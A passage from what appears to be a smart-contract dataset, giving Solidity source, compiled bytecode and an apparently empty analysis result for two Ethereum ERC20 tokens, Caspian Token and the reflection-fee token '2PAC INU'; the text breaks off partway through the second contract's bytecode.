// ----------------------------------------------------------------------------
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
function totalSupply() public view returns (uint256);
function balanceOf(address _owner) public view returns (uint256 balance);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
// ----------------------------------------------------------------------------
// Math - General Math Utility Library
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
library Math {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 r = a + b;
require(r >= a);
return r;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 r = a * b;
require(r / a == b);
return r;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
// ----------------------------------------------------------------------------
// Owned - Ownership model with 2 phase transfers
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
// Implements a simple ownership model with 2-phase transfer.
contract Owned {
address public owner;
address public proposedOwner;
event OwnershipTransferInitiated(address indexed _proposedOwner);
event OwnershipTransferCompleted(address indexed _newOwner);
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner() {
require(isOwner(msg.sender) == true);
_;
}
function isOwner(address _address) public view returns (bool) {
return (_address == owner);
}
function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) {
require(_proposedOwner != address(0));
require(_proposedOwner != address(this));
require(_proposedOwner != owner);
proposedOwner = _proposedOwner;
emit OwnershipTransferInitiated(proposedOwner);
return true;
}
function completeOwnershipTransfer() public returns (bool) {
require(msg.sender == proposedOwner);
owner = msg.sender;
proposedOwner = address(0);
emit OwnershipTransferCompleted(owner);
return true;
}
}
// ----------------------------------------------------------------------------
// Finalizable - Basic implementation of the finalization pattern
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
contract Finalizable is Owned() {
bool public finalized;
event Finalized();
constructor() public
{
finalized = false;
}
function finalize() public onlyOwner returns (bool) {
require(!finalized);
finalized = true;
emit Finalized();
return true;
}
}
// ----------------------------------------------------------------------------
// OpsManaged - Implements an Owner and Ops Permission Model
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
//
// Implements a security model with owner and ops.
//
contract OpsManaged is Owned() {
address public opsAddress;
event OpsAddressUpdated(address indexed _newAddress);
constructor() public
{
}
modifier onlyOwnerOrOps() {
require(isOwnerOrOps(msg.sender));
_;
}
function isOps(address _address) public view returns (bool) {
return (opsAddress != address(0) && _address == opsAddress);
}
function isOwnerOrOps(address _address) public view returns (bool) {
return (isOwner(_address) || isOps(_address));
}
function setOpsAddress(address _newOpsAddress) public onlyOwner returns (bool) {
require(_newOpsAddress != owner);
require(_newOpsAddress != address(this));
opsAddress = _newOpsAddress;
emit OpsAddressUpdated(opsAddress);
return true;
}
}
// ----------------------------------------------------------------------------
// ERC20Token - Standard ERC20 Implementation
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface {
using Math for uint256;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
uint256 internal tokenTotalSupply;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) allowed;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, address _initialTokenHolder) public {
tokenName = _name;
tokenSymbol = _symbol;
tokenDecimals = _decimals;
tokenTotalSupply = _totalSupply;
// The initial balance of tokens is assigned to the given token holder address.
balances[_initialTokenHolder] = _totalSupply;
// Per EIP20, the constructor should fire a Transfer event if tokens are assigned to an account.
emit Transfer(0x0, _initialTokenHolder, _totalSupply);
}
function name() public view returns (string) {
return tokenName;
}
function symbol() public view returns (string) {
return tokenSymbol;
}
function decimals() public view returns (uint8) {
return tokenDecimals;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
// ----------------------------------------------------------------------------
// FinalizableToken - Extension to ERC20Token with ops and finalization
// Enuma Blockchain Platform
//
// Copyright (c) 2017 Enuma Technologies Limited.
// https://www.enuma.io/
// ----------------------------------------------------------------------------
//
// ERC20 token with the following additions:
// 1. Owner/Ops Ownership
// 2. Finalization
//
contract FinalizableToken is ERC20Token, OpsManaged, Finalizable {
using Math for uint256;
// The constructor will assign the initial token supply to the owner (msg.sender).
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public
ERC20Token(_name, _symbol, _decimals, _totalSupply, msg.sender)
OpsManaged()
Finalizable()
{
}
function transfer(address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
validateTransfer(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function validateTransfer(address _sender, address _to) private view {
// Once the token is finalized, everybody can transfer tokens.
if (finalized) {
return;
}
if (isOwner(_to)) {
return;
}
// Before the token is finalized, only owner and ops are allowed to initiate transfers.
// This allows them to move tokens while the sale is still ongoing for example.
require(isOwnerOrOps(_sender));
}
}
// ----------------------------------------------------------------------------
// CaspianTokenConfig - Token Contract Configuration
//
// Copyright (c) 2018 Caspian, Limited (TM).
// http://www.caspian.tech/
// ----------------------------------------------------------------------------
contract CaspianTokenConfig {
string public constant TOKEN_SYMBOL = "CSP";
string public constant TOKEN_NAME = "Caspian Token";
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant TOKEN_TOTALSUPPLY = 1000000000 * DECIMALSFACTOR;
}
// ----------------------------------------------------------------------------
// CaspianToken - ERC20 Compatible Token
//
// Copyright (c) 2018 Caspian, Limited (TM).
// http://www.caspian.tech/
//
// Based on code from Enuma Technologies.
// Copyright (c) 2017 Enuma Technologies Limited.
// ----------------------------------------------------------------------------
contract CaspianToken is FinalizableToken, CaspianTokenConfig {
event TokensReclaimed(uint256 _amount);
constructor() public
FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY)
{
}
function reclaimTokens() public onlyOwner returns (bool) {
address account = address(this);
uint256 amount = balanceOf(account);
if (amount == 0) {
return false;
}
balances[account] = balances[account].sub(amount);
balances[owner] = balances[owner].add(amount);
emit Transfer(account, owner, amount);
emit TokensReclaimed(amount);
return true;
}
} | 0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610158578063095ea7b3146101e257806318160ddd1461021a578063188214001461024157806323b872dd146102565780632a905318146102805780632f54bf6e14610295578063313ce567146102b65780633c54caa5146102e15780634bb278f3146102f65780635b7f415c1461030b578063707789c51461032057806370a082311461034157806374c950fb146103625780638bc04eb7146103775780638da5cb5b1461038c5780638ea64376146103bd57806395d89b41146103d2578063a9059cbb146103e7578063adcf59ee1461040b578063b3f05b971461042c578063c0b6f56114610441578063d153b60c14610462578063dd62ed3e14610477578063e71a78111461049e578063ef326c6d146104b3575b600080fd5b34801561016457600080fd5b5061016d6104d4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a757818101518382015260200161018f565b50505050905090810190601f1680156101d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ee57600080fd5b50610206600160a060020a036004351660243561056a565b604080519115158252519081900360200190f35b34801561022657600080fd5b5061022f6105d4565b60408051918252519081900360200190f35b34801561024d57600080fd5b5061016d6105da565b34801561026257600080fd5b50610206600160a060020a0360043581169060243516604435610611565b34801561028c57600080fd5b5061016d610630565b3480156102a157600080fd5b50610206600160a060020a0360043516610667565b3480156102c257600080fd5b506102cb61067b565b6040805160ff9092168252519081900360200190f35b3480156102ed57600080fd5b50610206610684565b34801561030257600080fd5b506102066107bb565b34801561031757600080fd5b506102cb610860565b34801561032c57600080fd5b50610206600160a060020a0360043516610865565b34801561034d57600080fd5b5061022f600160a060020a036004351661091c565b34801561036e57600080fd5b5061022f610937565b34801561038357600080fd5b5061022f610947565b34801561039857600080fd5b506103a1610953565b60408051600160a060020a039092168252519081900360200190f35b3480156103c957600080fd5b506103a1610962565b3480156103de57600080fd5b5061016d610971565b3480156103f357600080fd5b50610206600160a060020a03600435166024356109d1565b34801561041757600080fd5b50610206600160a060020a03600435166109ee565b34801561043857600080fd5b50610206610a0e565b34801561044d57600080fd5b50610206600160a060020a0360043516610a2f565b34801561046e57600080fd5b506103a1610afb565b34801561048357600080fd5b5061022f600160a060020a0360043581169060243516610b0a565b3480156104aa57600080fd5b50610206610b35565b3480156104bf57600080fd5b50610206600160a060020a0360043516610bbc565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105605780601f1061053557610100808354040283529160200191610560565b820191906000526020600020905b81548152906001019060200180831161054357829003601f168201915b5050505050905090565b600160a060020a03338116600081815260056020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035490565b60408051808201909152600d81527f4361737069616e20546f6b656e00000000000000000000000000000000000000602082015281565b600061061d3384610be9565b610628848484610c3c565b949350505050565b60408051808201909152600381527f4353500000000000000000000000000000000000000000000000000000000000602082015281565b600654600160a060020a0390811691161490565b60025460ff1690565b600080600061069233610667565b15156001146106a057600080fd5b3091506106ac8261091c565b90508015156106be57600092506107b6565b600160a060020a0382166000908152600460205260409020546106e7908263ffffffff610d4f16565b600160a060020a03808416600090815260046020526040808220939093556006549091168152205461071f908263ffffffff610d6416565b60068054600160a060020a039081166000908152600460209081526040918290209490945591548251858152925190821693918616927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36040805182815290517fbce3cc672456937708767d1642a17cacb1962753bd5cff46c8dbd377906a6b4b9181900360200190a1600192505b505090565b60006107c633610667565b15156001146107d457600080fd5b60085474010000000000000000000000000000000000000000900460ff16156107fc57600080fd5b6008805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768190600090a150600190565b601281565b600061087033610667565b151560011461087e57600080fd5b600654600160a060020a038381169116141561089957600080fd5b30600160a060020a031682600160a060020a0316141515156108ba57600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384811691909117918290556040519116907f06171a5d6c06d67b0cfa679c07db377a27d1170797663fd98d395229d8c3650890600090a2506001919050565b600160a060020a031660009081526004602052604090205490565b6b033b2e3c9fd0803ce800000081565b670de0b6b3a764000081565b600654600160a060020a031681565b600854600160a060020a031681565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156105605780601f1061053557610100808354040283529160200191610560565b60006109dd3384610be9565b6109e78383610d76565b9392505050565b60006109f982610667565b80610a085750610a0882610bbc565b92915050565b60085474010000000000000000000000000000000000000000900460ff1681565b6000610a3a33610667565b1515600114610a4857600080fd5b600160a060020a0382161515610a5d57600080fd5b30600160a060020a031682600160a060020a031614151515610a7e57600080fd5b600654600160a060020a0383811691161415610a9957600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384811691909117918290556040519116907f20f5afdf40bf7b43c89031a5d4369a30b159e512d164aa46124bcb706b4a1caf90600090a2506001919050565b600754600160a060020a031681565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60075460009033600160a060020a03908116911614610b5357600080fd5b60068054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff199283161792839055600780549092169091556040519116907f624adc4c72536289dd9d5439ccdeccd8923cb9af95fb626b21935447c77b840790600090a250600190565b600854600090600160a060020a031615801590610a08575050600854600160a060020a0390811691161490565b60085474010000000000000000000000000000000000000000900460ff1615610c1157610c38565b610c1a81610667565b15610c2457610c38565b610c2d826109ee565b1515610c3857600080fd5b5050565b600160a060020a038316600090815260046020526040812054610c65908363ffffffff610d4f16565b600160a060020a0380861660009081526004602090815260408083209490945560058152838220339093168252919091522054610ca8908363ffffffff610d4f16565b600160a060020a0380861660009081526005602090815260408083203385168452825280832094909455918616815260049091522054610cee908363ffffffff610d6416565b600160a060020a0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b600081831015610d5e57600080fd5b50900390565b6000828201838110156109e757600080fd5b600160a060020a033316600090815260046020526040812054610d9f908363ffffffff610d4f16565b600160a060020a033381166000908152600460205260408082209390935590851681522054610dd4908363ffffffff610d6416565b600160a060020a038085166000818152600460209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001929150505600a165627a7a723058203730cfca6d0b01a18f568e440d0454f7650e229db718f765772ecddaf2ae0d7a0029 | {"success": true, "error": null, "results": {}} | 1,492 |
0x52f68f34904a915a335c11872c5bbf49173011e9 | /**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TWOPACINU is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = '2PAC INU';
string private _symbol = '2PAC INU \xf0\x9f\x91\x91 \xf0\x9f\x94\xab';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b039081